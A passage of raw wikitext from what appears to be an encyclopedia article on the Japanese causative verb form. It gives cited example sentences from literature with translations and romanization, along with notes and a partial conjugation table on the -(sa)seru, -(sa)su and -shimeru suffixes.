| She disappeared down the passage while Ash soaked and resoaked the T‑shirt, being careful not to touch the doe's burns with it as he ran water over them.{{efn|He made water drip.}} […] He gave her another drink of water and tried to coax the fawn into taking one and failed.{{efn|He let?/made? the doe drink water, and tried to make the fawn drink.}}
| {{#invoke:Nihongo|nihongo||彼女が通路の先に消えたあと、アッシュはTシャツを何度も水に浸し、それが雌鹿の火傷に直接触れないよう注意しながら、水'''を滴らせた'''。[…]アッシュは雌鹿'''に'''また水'''を飲ませ'''、子鹿'''に'''も'''飲ませよう'''としてなだめすかしたが、失敗に終わった。<ref>{{#invoke:cite|book|lang=ja|quote=She disappeared down the passage while Ash soaked and resoaked the T-shirt, being careful not to touch the doe's burns with it as he ran water over them. Her breathing did seem less labored, but that might be because she was barely clinging to life. He gave her another drink of water and tried to coax the fawn into taking one and failed.|script-quote=ja:彼女が通路の先に消えたあと、アッシュはTシャツを何度も水に浸し、それが雌鹿の火傷に直接触れないよう注意しながら、水を滴らせた。鹿はいくらか楽に呼吸ができるようになっていたが、それはかろうじて自分の命にしがみついているせいかもしれない。アッシュは雌鹿にまた水を飲ませ、子鹿にも飲ませようとしてなだめすかしたが、失敗に終わった。|script-chapter=ja:2|chapter=Chapter Two|script-title=ja:許されない恋心|trans-title=Forbidden Love|title=The Rancher's Daughter|last=O'Donnell|first=Jodi|isbn=978-4-596-61162-8|date=5 December 2007|translator-last=Kariya|translator-first=Kyōko|series={{#invoke:lang|lang|ja|ホワイトホーン・マーヴェリック}}|volume=X|publisher=HarperCollins Japan}}</ref>|Kanojo ga tsūro no saki ni kieta ato, Asshu wa tīshatsu o nando mo mizu ni hitashi, sore ga mejika no yakedo ni chokusetsu furenai yō chūi shinagara, mizu '''o shitataraseta'''. […] Asshu wa mejika '''ni''' mata mizu '''o nomase''', kojika '''ni''' mo '''nomaseyō''' to shite nadamesukashita ga, shippai ni owatta.}}
|-
| Drinkers might use various tactics to try and claw you back.{{efn|Drinkers might plot to make you drink alcohol by using every strategy there is.}}
| {{#invoke:Nihongo|nihongo||ドリンカーたちはあらゆる戦略を使って、あなた'''に'''お酒'''を飲まそう'''と画策するでしょう。<ref>{{#invoke:cite|book|lang=ja|quote=9. There are three main reasons people do get hooked again, and the first is the influence of drinkers. The reason a lobster tank doesn't have a lid is that if a lobster tries to escape, the others claw it back. Drinkers might use various tactics to try and claw you back. Know that it is fear that makes the poor drinker behave like that, and that you are well shot of it. Look them straight in the eye and say, 'I never drink when I'm sober!'|script-quote=ja:9.再び飲酒に掴まってしまうのには、主に三つの理由があります。ひとつはドリンカーの影響です。ロブスターの生簀に蓋がない理由は、そうしておいても、一匹が逃げようとしたら、他のロブスターが引き摺り下ろすからです。ドリンカーたちはあらゆる戦略を使って、あなたにお酒を飲まそうと画策するでしょう。可哀想なドリンカーがそんなことをするのは、恐怖からなのです。あなたはそのとばっちりを受けているのです。相手の目を見つめて言いましょう。「素面のときには絶対に飲まないんだ!」と。|authorlink=Allen Carr|first=Allen John|last=Carr|year=2010|publisher=Arcturus|isbn=978-1-78212-947-9|script-chapter=ja:最後のインストラクション|chapter=The Final Instructions|title=No More Hangovers: Alcohol: the Easyway solution|script-title=ja:禁酒セラピー|trans-title=Teetotal Therapy}}</ref>|Dorinkā-tachi wa arayuru senryaku o tsukatte, anata '''ni''' osake '''o nomasō''' to kakusaku suru deshō.}}
|-
| That discovery made him famous.{{efn|That discovery made?/let? him make a name for himself.}}
| {{#invoke:Nihongo|nihongo||その発見が彼'''に'''名'''をなさしめる'''ことになった|Sono hakken ga kare '''ni''' na '''o nasashimeru''' koto ni natta}}
|-
| As soon as he got the greenlight for marriage, Balghed exuded such vitality that doctors would put on the same level as cockroaches, and climbed his way out the chasm of death.{{efn|He exuded vitality to the extent that doctors would make to say "cockroach level."}}
| {{#invoke:Nihongo|nihongo||結婚の承諾を得たバルゲッドは医者がゴキブリレベルと'''言わしめる'''ほどの生命力を発揮し、死の淵から蘇ってみせた。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:メリアは、涙を振り切った。<br>ゴシゴシと涙を拭うと、今まで見せたことの無い真摯な瞳をバルゲッドに向け、その手を力強く握った。<br>「バルゲッド! 死ぬな! 生きろ! 生きたらなんだってしてやる……! 結婚だって、なんだってだ! だから……だから死ぬなバルゲッド!」<br>「えっっっっっっっっっっっっっっっっっっっっっ!? 本当にっっっっっっっっっっっっっ!?」<br>「え?」<br>結婚の承諾を得たバルゲッドは医者がゴキブリレベルと言わしめるほどの生命力を発揮し、死の淵から蘇ってみせた。|trans-quote=Melia shook off her tears.<br>Once having wiped the tears off, she turned to Balghed with a sincerity she'd never shown until this very moment, and grasped his hand tightly.<br>"Balghed! Don't die! Live! If you live, I'll do anything you want……! I'll marry you, I'll do whatever it takes! So……So don't die, Balghed!"<br>"Whaaaaaaaaaaaaaaaaaaaaat!? For reaaaaaaaaaaaaal!?"<br>"What?"<br>As soon as he got the greenlight for marriage, Balghed exuded such vitality that doctors would put on the same level as cockroaches, and climbed his way out the chasm of death.|script-chapter=ja:第一章 アルデライト|trans-chapter=Chapter 1: Aldelight|url=https://ncode.syosetu.com/n3144ev/19/|script-title=ja:剣<small>と</small>ティアラ<small>と</small>ハイヒール〜公爵令嬢には英雄の魂が宿る〜|trans-title=Sword, Tiara and High Heels: A Hero's Soul Dwells in the Duke's Daughter|last=Mikami|first=Tensei|publisher=TO Books|date=1 December 2019|orig-date=27 January 2019|location=[[Shibuya]], Tokyo}}</ref>|Kekkon no shōdaku o eta Barugeddo wa isha ga gokiburi reberu to '''iwashimeru''' hodo no seimeiryoku o hakki shi, shi no fuchi kara yomigaette miseta.}}
|-
| If you ask me, that there is the major difference.{{efn|"If you make me say." ''Iwashimureba'' is the ''nidan'' [[#Conditional|provisional]] equivalent to ''iwashimereba'', used here for literary flair.}}
| {{#invoke:Nihongo|nihongo||僕'''をして言わしむれば'''、ここにこそ非常な相違があるのです。<ref name=nakayama-1951>{{#invoke:cite|book|lang=ja|trans-quote="I myself know there have been a great many crimes just as horrific before. I recently visited a prison and was able to get close to some convicted and unconvicted inmates. There were some among them far more horrible than this one, offenders who have killed ten people without the least remorse. But I noticed this: even the most hardened and remorseless murderer still knows he's a ''criminal''. That means he's still conscious he's done a bad thing, even if he has no remorse. And they were all like this. Yet the people Yevgeny Pavlovich spoke of don't even have the slightest inkling they're criminals, in their guts they just had a right to do what they did… they did a good thing,… that's mostly how they feel, isn't it? If you ask me, that there is the major difference. And get this, they're all youths, you know, the age group hopelessly susceptible to the distortion of ideas."|script-quote=ja:「それは、僕も犯罪が以前にもこういう怖ろしいのが非常に多かつたということは、自分でも知つています。つい先ごろ僕は監獄へ參りまして、いくたりかの囚人や未決囚と近づきになることができました。中には今度のよりはずつと怖ろしいのがいて、十人も殺しておきながら、一寸も後悔していないような犯人もいました。しかし、僕はその時こんな事に氣がつきました。それはこの上もなく頑强な、そして一寸も後悔をしていない殺人犯でも、やはり自分が<span style=text-emphasis:sesame>罪人</span>であるということは知つている。つまり、良心的に、たとい後悔などはしていないにしても、自分が良くないことをしたのだということだけは考えているということです。そして彼等は悉くそうなのです。ところがエヴゲニイ・パーヴロヰッチさんがお話しになつたような人たちは、自分のことを罪人だということを考えて見る氣持さえもなく、肚の中では、當然そうする權利があつたのだ……よいことをしたのだと、……つまり大體がそういう氣持でいるんじやありませんか。僕をして言わしむれば、ここにこそ非常な相違があるのです。しかも注意しなければならないのは、これがみんな靑年であるということつまり何よりもたやすく、あつさりと觀念の曲解に陷ることのできる年頃の連中であることです。」|quote=— Я сам знаю, что преступлений и прежде было очень много, и таких же ужасных; я еще недавно в острогах был, и с некоторыми преступниками и подсудимыми мне удалось познакомиться. Есть даже страшнее преступники, чем этот, убившие по десяти человек, совсем не раскаиваясь. Но я вот что заметил при этом: что самый закоренелый и нераскаянный убийца все-таки знает, что он преступник, то есть по совести считает, что он нехорошо поступил, хоть и безо всякого раскаяния. И таков всякий из них; а эти ведь, о которых Евгений Павлыч заговорил, не хотят себя даже считать преступниками и думают про себя, что право имели и… даже хорошо поступили, то есть почти ведь так. Вот в этом-то и состоит, по-моему, ужасная разница. И заметьте, всё это молодежь, то есть именно такой возраст, в котором всего легче и беззащитнее можно подпасть под извращение идей.|p=17|url=https://dl.ndl.go.jp/pid/1690459/1/13|script-chapter=ja:第三編|trans-chapter=Part III|chapter=Часть III|script-title=ja:白痴|trans-title=[[The Idiot]]|title=Идиот|authorlink=Fyodor Dostoevsky|first=Fyodor Mikhailovich|last=Dostoevsky|translator-first=Shōzaburō|translator-last=Nakayama|series={{#invoke:lang|lang|ja|世界文學選書}}|volume=3|publisher=Mikasa Shobo|date=30 June 1951|location=[[Chiyoda, Tokyo]]}}</ref>|Boku '''o shite iwashimureba''', koko ni koso hijō na sōi ga aru no desu.}}
|-
| If you ask me, I'd say Nagano is the easiest city to live in in Japan.
| {{#invoke:Nihongo|nihongo||私'''をして言わしめる'''ならば, 長野は日本で一番住みやすい都市である|Watashi '''o shite iwashimeru''' naraba, Nagano wa Nihon de ichiba sumiyasui toshi de aru}}
|-
| The young republic sought its chief merit, not in instilling fear, but rather in being itself in incessant fear,{{efn|It sought its chief merit not in making people fear.}}
| {{#invoke:Nihongo|nihongo||若き共和政治は、'''恐怖せしめる'''ことよりも、むしろ絕えずみずから恐怖し、<ref name=yamakawa-1948>{{#invoke:cite|book|lang=ja|script-quote=ja:『ナシオナール』のブルジョア共和主義者たちは、王朝的な名前と衣裳とを、舊共和制のそれにとりかえて喜んだ。彼らにとつては、共和政治は、ふるいブルジョア社會の新らしい晴着にほかならぬものだつた。若き共和政治は、恐怖せしめることよりも、むしろ絕えずみずから恐怖し、その存在のやわらかな從順と無抵抗とによつて、その存在を獲得し、かつこれによつて反抗の力を弱めることに、その主たる功績をもとめた。國內における特權階級と國外の專制的諸强國にたいしては、共和政治は平和的性質のものであること、そして生きよ、しかして生きしめよが、その標語であることが聲たかくのべつたえられた。|trans-quote=The bourgeois republicans of the "National" took delight in exchanging monarchist names and costumes for old republican ones. To them, the republic was nothing other than a new ball dress for the old bourgeois society. The young republic sought its chief merit, not in instilling fear, but rather in being itself in incessant fear, and through the soft compliance and non-resistance of its existence, in winning existence while, accordingly, also weakening resistance. To the privileged classes at home and to the despotic powers abroad, it was loudly proclaimed that the republic was of a peaceful nature, and "live and let live" was its motto.|quote=Die bürgerlichen Republikaner des "National" amüſirten ſich damit, monarchiſche Namen und Koſtüme mit altrepublikaniſchen zu vertauſchen. Für ſie war die Republik nichts als ein neuer Ballanzug für die alte bürgerliche Geſellſchaft. Jhr Hauptverdienſt ſuchte die junge Republik darin, nicht abzuſchrecken, vielmehr ſelbſt beſtändig zu erſchrecken, und durch die weiche Nachgiebigkeit und Widerſtandsloſigkeit ihrer Exiſtenz Exiſtenz zu gewinnen und den Widerſtand zu entwaffnen. Den privilegirten Klaſſen im Jnnern, den deſpotiſchen Mächten nach Außen wurde laut verkündet, die Republik ſei friedfertiger Natur. Leben und leben laſſen ſei ihr Motto.|page=66|url=https://dl.ndl.go.jp/pid/1042781/1/36|chapter=I. Vom Februar bis Juni 1848. <small>(Aus Heft I.)</small>|script-chapter=ja:一 一八四八年二月から六月まで <small>(第一號より)</small>|trans-chapter=I. From February to June 1848. <small>(From Issue I.)</small>|script-title=ja:<small>1848年から1850年に至る</small>フランス<small>の</small>階級鬪爭|trans-title=[[The Class Struggles in France, 1848–1850|<small>The</small> Class Struggles <small>in</small> France, <small>1848 to 1850</small>]]|title=<small>Die</small> Klaſſenkämpfe in Frankreich <small>1848 bis 1850</small>|authorlink=Karl Marx|first=Karl|last=Marx|series=MARX·[[ENGELS]] SEIJIRONSHU|publisher=Shōkō Shoin|translator-link=Hitoshi Yamakawa|translator-first=Hitoshi|translator-last=Yamakawa|date=25 June 1948|location=[[Chiyoda, Tokyo]]}}</ref>|Wakaki kyōwa seiji wa, '''kyōfu seshimeru''' koto yori mo, mushiro taezu mizukara kyōfu shi,}}
|-
| while all the time Nature is inviting you to talk earnestly with her, to understand her, to subdue her, and to be blessed by her!{{efn|"But now look at the Great Nature. All the time she is beckoning you and trying to make you exchange earnest talks with herself, understand herself, subdue herself, and earn bliss from herself." The object of the causatives, also the agent of the underlying actions, is ''nanji'' ("you"), marked with ''o shite''. The other words marked with the other ''o''{{'}}s are the objects and patients of the actions.}}
| {{#invoke:Nihongo|nihongo||然るに一方大自然を見よ。自然は汝'''をして'''己れ(自然)と熱心に話'''をかわさしめん'''として,己れ'''を理解せしめん'''として,己れ'''を征服せしめん'''として,かくて己れより幸福'''を得せしめん'''として,常に汝を御出で御出でと招いて居るのである。<ref name=hashimoto-1918/>|Shikaru ni ippō Daishizen o miyo. Shizen wa nanji '''o shite''' onore (Shizen) to nesshin ni hanashi '''o kawasashimen''' to shite, onore '''o rikai seshimen''' to shite, onore '''o seifuku seshimen''' to shite, kakute onore yori kōfuku '''o toku seshimen''' to shite, tsune ni nanji o oide oide to maneite iru no de aru.}}
|-
| In summer we used to run a shallow bath and let the children play in it.
| {{#invoke:Nihongo|nihongo||夏はお風呂に浅く水を張って子供'''を遊ばせた'''ものだ|Natsu wa ofuro ni asaku mizu o hatte kodomo '''o asobaseta''' mono da}}
| rowspan=6 | permission ("let do")
|-
| I fed the botched pizza to my dog.{{efn|I let?/made? my dog eat the botched pizza.}}
| {{#invoke:Nihongo|nihongo||出来損なったピザは犬'''に食べさせた'''|Dekisonatta piza wa inu '''ni tabesaseta'''}}
|-
| * In winter, even when a woman is breastfeeding her child in the corner of the bounds of a field, you are not obliged to think that her chest is made of rubber and her child of cardboard.{{efn|A woman is letting?/making? her child drink her milk.}}
| {{#invoke:Nihongo|nihongo||*冬、畑の境界の片隅で、一人の女'''が'''子供'''に'''乳'''を飮ませて'''ゐたからとて、その胸はゴム製であり、子供は厚紙細工だと考へねばならぬといふ法はない。<ref>{{#invoke:cite|book|lang=ja|url=https://dl.ndl.go.jp/pid/1693945/1/56|pages=109–110|script-quote=ja:*冬、畑の境界の片隅で、一人の女が子供に乳を飮ませてゐたからとて、その胸はゴム製であり、子供は厚紙細工だと考へねばならぬといふ法はない。|quote=L'hiver, quand, au coin d'une borne, une femme donne à téter à son enfant, on n'est pas obligé de croire que le sein est en caoutchouc, et l'enfant en carton.|script-title=ja:ルナール日記|trans-title=[[Journal, 1887–1910|Renard's Journal]]|title=Journal|volume=Ⅲ|translator-link=Kunio Kishida|translator-first=Kunio|translator-last=Kishida|authorlink=Jules Renard|first=Pierre-Jules|last=Renard|series={{#invoke:lang|lang|ja|新潮文庫}}|publisher=Shinchosha|date=10 August 1954|location=[[Shinjuku]], Tokyo}}</ref>|* Fuyu, hatake no kyōkai no katasumi de, hitori no onna '''ga''' kodomo '''ni''' chichi '''o nomasete''' ita kara tote, sono mune wa gomu-sei de ari, kodomo wa atsugami-zaiku da to kangaeneba naranu to yū hō wa nai.}}
|-
| "Mimir, I wish to enrich my wisdom even more. Please let me drink the water from your spring."<br>"Do you wish to drink the water from this spring so much? I cannot let you drink it so easily," Mimir said.
| {{#invoke:Nihongo|nihongo||「ミミールよ、わしはもっと知識を富ませたいのだ。どうか、きみの泉の水'''を飲まして'''くれ」<br>「そんなにこの泉の水が飲みたいのか。だが、容易なことでは'''飲まして'''やれないぞ」と、ミミールはいった。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:さて、ある日オーディンは、もっと知識をふやしたいと思い、この泉にミミールを訪ねていった。<br>「ミミールよ、わしはもっと知識を富ませたいのだ。どうか、きみの泉の水を飲ましてくれ」<br>「そんなにこの泉の水が飲みたいのか。だが、容易なことでは飲ましてやれないぞ」と、ミミールはいった。<br>「どういうお礼をすれば飲ましてくれるかね」と、オーディンはきいた。<br>「おまえの片目をよこすなら、飲ましてやろう。それ以外のことではだめだ」<br>これにはさすがのオーディンも、「ううむ」とうなってたじろいだ。しかし、賢くなりたい願いを、あきらめることはできなかった。彼はぐいと片目をえぐりだしてミミールの泉に投げこみ、こうしてその水を一口飲ましてもらった――。オーディンが片目だというのは、こんなわけからであった。|trans-quote=And so one day, Odin, wishing to gain more wisdom, went to the spring and called upon [[Mimir]].<br>"Mimir, I wish to enrich my wisdom even more. Please let me drink the water from your spring."<br>"Do you wish to drink the water from this spring so much? I cannot let you drink it so easily," Mimir said.<br>"What shall I give you so that you will let me drink?" Odin asked.<br>"Give me one of your eyes and I will let you drink. Nothing else will do."<br>Even someone such as Odin had to groan "Ugh" and flinch, but he could not give up his desire to become wiser. He gouged out one of his eyes in one swift motion, cast it into Mimir's spring, and was thus let to drink one mouthful of that water――. This is how Odin came to have only one eye.|script-chapter=ja:主神オーディンとミミールの泉|trans-chapter=The Head God [[Odin]] and [[Mímisbrunnr|Mimir's Spring]]|script-title=ja:ギリシャ神話 付 北欧神話|trans-title=[[Greek Mythology]], supplemented with [[Norse Mythology]]|first=Shizuka|last=Yamamuro|orig-date=June 1963|date=25 March 2014|publisher=Gutenberg21|location=[[Setagaya]], Tokyo}}</ref>|"Mimīru yo, washi wa motto chishiki o tomasetai no da. Dō ka, kimi no izumi no mizu '''o nomashite''' kure"<br>"Sonna ni kono izumi no mizu ga nomitai no ka. Da ga, yōi na koto de wa '''nomashite''' yarenai zo" to, Mimīru wa itta.}}
|-
| It rustles and swells and sways and ripples and laps and lets [[pizzicati]] be heard, like sun flashes on the surface of waves. And it lets strange melody fragments and the sweet song [[Der Fischer (Goethe)|"Lockt Dich der tiefe Himmel nicht, das feuchtverklärte Blau?"]] […] be heard.
| {{#invoke:Nihongo|nihongo||それはさは〱と鳴り、波立ち、搖れ動き、波紋をあらはし、ひた〱と音し、波の面に輝く太陽の閃光の如き撥音 […] '''を聽かせる'''。そして微妙な旋律の斷片と「かの深き天は汝を動さざるか、かの濡れて耀ける碧空は」 […] なる甘美な歌'''をきこえしめる'''。<ref name=tsuji-1926/>|Sore wa sawasawa to nari, namidachi, yureugoki, hamon o arawashi, hitahita to oto shi, nami no omo ni kagayaku taiyō no senkō no gotoki bachioto […] '''o kikaseru'''. So shite bimyō na senritsu no danpen to "Kano fukaki ten wa nanji o ugokasazaru ka, kano nurete kagayakeru hekikū wa" […] naru kanbi na uta '''o kikoeshimeru'''.}}
|-
| "Let him who wants to paint me,"{{efn|"It is good to let the one who wants to paint paint me." ''Kakasuru'' is the ''nidan'' attributive equivalent to ''kakaseru'', used here in an otherwise relatively modern sentence as a faux archaism.}}
| {{#invoke:Nihongo|nihongo||『描きたいと思ふ者'''に'''は私'''を描かする'''が好い』<ref name=shimamura-katagami-1915-suru-causative>{{#invoke:cite|book|lang=ja|script-quote=ja:『<ruby>描<rp>(</rp><rt>か</rt><rp>)</rp></ruby>きたいと<ruby>思<rp>(</rp><rt>おも</rt><rp>)</rp></ruby>ふ<ruby>者<rp>(</rp><rt>もの</rt><rp>)</rp></ruby>には<ruby>私<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>を<ruby>描<rp>(</rp><rt>か</rt><rp>)</rp></ruby>かするが<ruby>好<rp>(</rp><rt>い</rt><rp>)</rp></ruby>い』とドン・キホーテは<ruby>言<rp>(</rp><rt>い</rt><rp>)</rp></ruby>つた、『ぢやが<ruby>私<rp>(</rp><rt>わし</rt><rp>)</rp></ruby>を<ruby>凌<rp>(</rp><rt>りよう</rt><rp>)</rp></ruby><ruby>辱<rp>(</rp><rt>じよく</rt><rp>)</rp></ruby>させんやうにしたいのぢや。<ruby>堪<rp>(</rp><rt>かん</rt><rp>)</rp></ruby><ruby>忍<rp>(</rp><rt>にん</rt><rp>)</rp></ruby>はその<ruby>上<rp>(</rp><rt>うへ</rt><rp>)</rp></ruby>に<ruby>餘<rp>(</rp><rt>あま</rt><rp>)</rp></ruby>り<ruby>澤<rp>(</rp><rt>たく</rt><rp>)</rp></ruby><ruby>山<rp>(</rp><rt>さん</rt><rp>)</rp></ruby><ruby>侮<rp>(</rp><rt>ぶ</rt><rp>)</rp></ruby><ruby>辱<rp>(</rp><rt>じよく</rt><rp>)</rp></ruby>を<ruby>積<rp>(</rp><rt>つ</rt><rp>)</rp></ruby>み<ruby>上<rp>(</rp><rt>あ</rt><rp>)</rp></ruby>げられると、よく<ruby>破<rp>(</rp><rt>は</rt><rp>)</rp></ruby><ruby>裂<rp>(</rp><rt>れつ</rt><rp>)</rp></ruby>するものぢやからの。』|quote=Retrateme el q̃ quiſiere, dixo don Quixote: pero no me maltrate, q̃ muchas vezes ſuele caerſe la paciencia, quando la cargan de injurias.|trans-quote="Let him who wants to paint me," said don Quixote, "but no mistreating me; for patience often ruptures when one heaps many insults upon it."|p=841|script-chapter=ja:'''第五十九章''' にはドン・キホーテにふりかゝつた一つの<ruby>冒<rp>(</rp><rt>ぼう</rt><rp>)</rp></ruby><ruby>險<rp>(</rp><rt>けん</rt><rp>)</rp></ruby>とも<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby><ruby>做<rp>(</rp><rt>な</rt><rp>)</rp></ruby>さるべき<ruby>不<rp>(</rp><rt>ふ</rt><rp>)</rp></ruby><ruby>思<rp>(</rp><rt>し</rt><rp>)</rp></ruby><ruby>議<rp>(</rp><rt>ぎ</rt><rp>)</rp></ruby>な<ruby>事<rp>(</rp><rt>こと</rt><rp>)</rp></ruby>が<ruby>傳<rp>(</rp><rt>つた</rt><rp>)</rp></ruby>へてある。|url=https://dl.ndl.go.jp/pid/945516/1/465|chapter=''Capitulo LIX. Donde ſe cuenta del extraordinario ſuceſſo, que ſe puede tener por Auentura, que le ſucedio a don Quixote.''|trans-chapter='''Chapter LIX.''' Wherein is told the extraordinary happening, which may be considered an Adventure, that happened to don Quixote|title=EL INGENIOSO CAVALLERO DON QVIXOTE DE LA MANCHA|script-title=ja:ドン・キホーテ|trans-title=[[Don Quixote]]|volume=2|authorlink=Miguel de Cervantes|first=Miguel|last=de Cervantes Saavedra|translator-link=Hōgetsu Shimamura|translator-first=Hōgetsu|translator-last=Shimamura|translator-link2=Noburu Katagami|translator-first2=Noburu|translator-last2=Katagami|date=10 November 1915|publisher=Uetake Shoin|location=[[Kōjimachi]], Tokyo|edition=2nd}}</ref>|"Kakitai to omou mono '''ni''' wa washi '''o kakasuru''' ga ii"}}
|}
=== Causative: Conjugation table ===
The causative form is created by using the mizenkei base, followed by the ''ichidan'' {{#invoke:nihongo|nihongo||(さ)せる|‑(sa)seru}} suffix. Colloquially, the shorter ''godan'' {{#invoke:nihongo|nihongo||(さ)す|‑(sa)su|''godan''}} can be used, but this may cause confusion among verbs with virtually identical forms, especially those that happen to end in ''‑su'' already. Compare the causatives of the intransitive {{#invoke:nihongo|nihongo||動く|ugoku|{{gloss|it moves}}}} and its historically derived transitive {{#invoke:nihongo|nihongo||動かす|ugokasu|{{gloss|he moves it}}}}, the latter of which happens to resemble the ''godan'' causative ''ugokasu'', as well as their ([[#Passive|passive]]) [[#Potential|potential]]s:{{sfnp|Martin|2004|p=287–288}}
{| class="wikitable"
|-
! rowspan=2 |
! rowspan=2 | (Passive) potential
! colspan=3 style=border:none | Causative
|-
! style=border-top:none |
! ''Ichidan'' causative
! ''Godan'' causative
|-
! rowspan=2 | Intransitive: {{gloss|it moves}}<br>''ugoku''
| rowspan=2 | {{gloss|it can move}}<br>''ugokeru<br>ugokareru''
| {{gloss|she causes it to move}}
| <span style=color:green>''ugokaseru''</span>
| <span style=color:red>''ugokasu''</span>
|-
| (Passive) potential: {{gloss|it can be caused to move; she can cause it to move}}
| ''ugokase(ra)reru''
| ''<span style=color:green>ugokaseru</span><br><span style=color:blue>ugokasareru</span>''
|-
! rowspan=2 | Transitive: {{gloss|he moves it}}<br><span style=color:red>''ugokasu''</span>
| rowspan=2 | {{gloss|it can be moved; he can move it}}<br>''<span style=color:green>ugokaseru</span><br><span style=color:blue>ugokasareru</span>''
| {{gloss|she causes him to move it}}
| ''ugokasaseru''
| ''ugokasasu''
|-
| (Passive) potential: {{gloss|he can be caused to move it; she can cause him to move it}}
| ''ugokasase(ra)reru''
| ''ugokasaseru<br>ugokasasareru''
|}
In [[classical Japanese]], ''‑(sa)su'' was the ''nidan'' ancestor of the modern ''ichidan ‑(sa)seru''; it became ''yodan'' sometime during [[Late Middle Japanese]].<ref name=super-daijirin /> A survey found that respondents were more likely to use ''‑(sa)su'', which is now ''godan'', over ''‑(sa)seru'', if the original verb was already ''godan''.<ref>{{#invoke:cite|journal|lang=ja|url=https://www.tufs.ac.jp/ts/personal/kazama/shigen/17/Abe.pdf|script-title=ja:日本語の使役助動詞「せる」「させる」の活用の五段化の現状|script-journal=ja:思言 東京外国語大学記述言語学論集|number=17 |year=2021 |last=Abe|first=Yoshitaka|publisher=Tokyo University of Foreign Studies}}</ref>
The causative of the verb {{#invoke:nihongo|nihongo||待つ|matsu|{{gloss|wait}}}} is {{#invoke:nihongo|nihongo||待たせる|mataseru|{{gloss|make wait}}}}, whose [[Japanese conjugation (ren'yōkei base)#Infinitive|infinitive]] ''matase'' can be nominalized in the polite construction ''o‑'' + <infinitive> + ''suru'' to form ''omatase shimashita'' ({{lit|I have kept you waiting}}){{efn|Alternatively, with {{#invoke:nihongo|nihongo||致す|itasu|{{gloss|do}}}} to form ''omatase itashimashita''.}} as an apology for being late or having kept someone waiting,{{efn|The apology can be made explicit with {{#invoke:nihongo|nihongo||お待たせしてすみませんでした|omatase shite sumimasen deshita|{{lit|I have not gotten away with keeping you waiting}}}} or {{#invoke:nihongo|nihongo||お待たせして申し訳ありませんでした|omatase shite mōshiwake arimasen deshita|{{lit|there was no excuse for my having kept you waiting}}}}.}} and which can be idiomatically shortened to ''omatase''.
One of the negative forms of {{#invoke:nihongo|nihongo||あらせる|araseru|{{gloss|let exist}}}}, {{#invoke:nihongo|nihongo||あらせず|arasezu|{{gloss|not letting exist}}}}, as in {{#invoke:nihongo|nihongo||いとまもあらせず|itoma mo arasezu|{{gloss|not letting any spare time exist → not letting them have any spare time}}}}, has been attested.{{sfnp|Martin|2004|p=290}} {{#invoke:nihongo|nihongo||であらせる|De araseru|{{gloss|make be; let be}}}} has also been used.
The causatives of honorific verbs do not seem to occur,{{sfnp|Martin|2004|p=290}} although at least one author has artificially used {{#invoke:nihongo|nihongo||なさらせた|nasaraseta}} in their literal translations of [[Amdo Tibetan]] honorific causatives.<ref>{{#invoke:cite|journal|lang=ja|script-title=ja:日本語とアムド・チベット語における使役表現の意味について ——日本語教育の視点から——|page=192 |script-quote=ja:直訳:祖母が活仏に御占いをなさらせた(祖母が活仏に占ってもらいました).|url=https://jpf.repo.nii.ac.jp/?action=repository_uri&item_id=404&file_id=21&file_no=1 |title=The Value of Causative Sentences in Japanese and the Tibetan Amdo Dialect from the Perspective of Japanese Education|script-journal=ja:世界の日本語教育|journal=Japanese Language Education Around the Globe|volume=18 |date=30 June 2008|publisher={{#invoke:lang|lang|ja|国際交流基金日本語事業部企画調整課}}|last=Tshering|first=Tashi}}</ref>
{{#invoke:nihongo|nihongo||させる|Saseru|{{gloss|make/let do}}}} has been said to be shortened from {{#invoke:nihongo|nihongo||せさせる|sesaseru}},<ref name=ishida-1926/> or even {{#invoke:nihongo|nihongo||しさせる|shisaseru}}.<ref>{{#invoke:cite|book|lang=ja|url=https://dl.ndl.go.jp/pid/864026/1/163|p=304|script-chapter=ja:<ruby>第<rp>(</rp><rt>ダイ</rt><rp>)</rp></ruby><ruby>三<rp>(</rp><rt>サン</rt><rp>)</rp></ruby><ruby>章<rp>(</rp><rt>シヨウ</rt><rp>)</rp></ruby> <ruby>動<rp>(</rp><rt>ドウ</rt><rp>)</rp></ruby><ruby>詞<rp>(</rp><rt>シ</rt><rp>)</rp></ruby>と<ruby>助<rp>(</rp><rt>ジヨ</rt><rp>)</rp></ruby><ruby>動<rp>(</rp><rt>ドウ</rt><rp>)</rp></ruby><ruby>詞<rp>(</rp><rt>シ</rt><rp>)</rp></ruby>との<ruby>關<rp>(</rp><rt>カン</rt><rp>)</rp></ruby><ruby>係<rp>(</rp><rt>ケイ</rt><rp>)</rp></ruby>|script-title=ja:漢譯日語文法精義|last=Takahashi|first=Tatsuo|publisher={{#invoke:lang|lang|ja|東亞公司}}|date=31 July 1906}}</ref>
The pseudo‑classical causative makes use of {{#invoke:nihongo|nihongo||〜しめる|‑shimeru}} instead of ''‑(sa)seru'' as shown above. It has ''ichidan'' conjugation, and it is meant to emulate the true classical causative with ''‑shimu'' which has ''nidan'' conjugation. As a pseudo‑classical auxiliary, ''‑shimeru'' combines only with classical irrealis forms, which in most cases are not different from modern ones; but in the case of ''suru'' which has three irrealis forms, only the classical ''se‑'' is used as in ''seshimeru'', not *''sashimeru'' nor *''shishimeru''.{{sfnp|Martin|2004|pp=288, 933}} There exists a causative form for the [[Japanese conjugation#Copulae: Conjugation table|copular]] ''taru'' (← ''to aru'', {{gloss|be known as}}) that is ''tarashimeru'', as in {{#invoke:nihongo|nihongo||人間を人間たらしめる条件|ningen o ningen tarashimeru jōken|{{gloss|conditions that make humans human}}}}.<ref>{{#invoke:cite|web|url=https://kotobank.jp/word/%E3%81%9F%E3%82%89%E3%81%97%E3%82%81%E3%82%8B-3135090|script-title=ja:たらしめる|script-work=ja:コトバンク}}</ref><ref name=kenkyusha/>
{| class="wikitable"
|-
! Dictionary form
! colspan=3 | Pattern {{sfnp|Makino|Tsutsui|2018|pp=576-579|loc="Appendix 1 Basic Conjugations" (Verbs)}}
! Causative form
|-
! colspan=5 style=text-align:left | ''Godan'' and pseudo‑''yodan'' verbs
|-
| {{#invoke:nihongo|nihongo_krt|fasten|結う|yuu/yū}}
| style="text-align:right" | {{#invoke:lang|lang|ja|結}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|う}}</span>'''
